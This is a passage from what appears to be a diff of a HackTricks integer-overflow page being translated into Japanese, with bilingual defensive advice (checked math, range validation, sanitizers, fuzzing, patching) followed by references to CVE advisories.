3. **コンパイラのサニタイザーを有効にする**: -fsanitize=integer, UBSan, Goレース検出器。
|
||||
4. **CI/CDでファジングを採用する** – カバレッジフィードバックと境界コーパスを組み合わせます。
|
||||
5. **パッチを適用し続ける** – ブラウザの整数オーバーフローバグは、数週間以内に頻繁に武器化されます。
|
||||
1. **Use wide types or checked math** – e.g., size_t, Rust checked_add, Go math/bits.Add64.
|
||||
2. 早期に範囲を検証する:算術を行う前に業務ドメイン外の値は拒否すること。
|
||||
3. コンパイラの sanitizers を有効にする: -fsanitize=integer, UBSan, Go race detector.
|
||||
4. CI/CD に fuzzing を導入する – coverage feedback と boundary corpora を組み合わせる。
|
||||
5. 最新のパッチを適用する – ブラウザの integer overflow バグは数週間以内に頻繁に悪用されます。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
* [NVD CVE-2023-4863 – libwebp ヒープバッファオーバーフロー](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "V8 CVE-2024-0519の理解"](https://googleprojectzero.github.io/)
|
||||
* [NVD CVE-2023-4863 – libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
* [Google Project Zero – "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user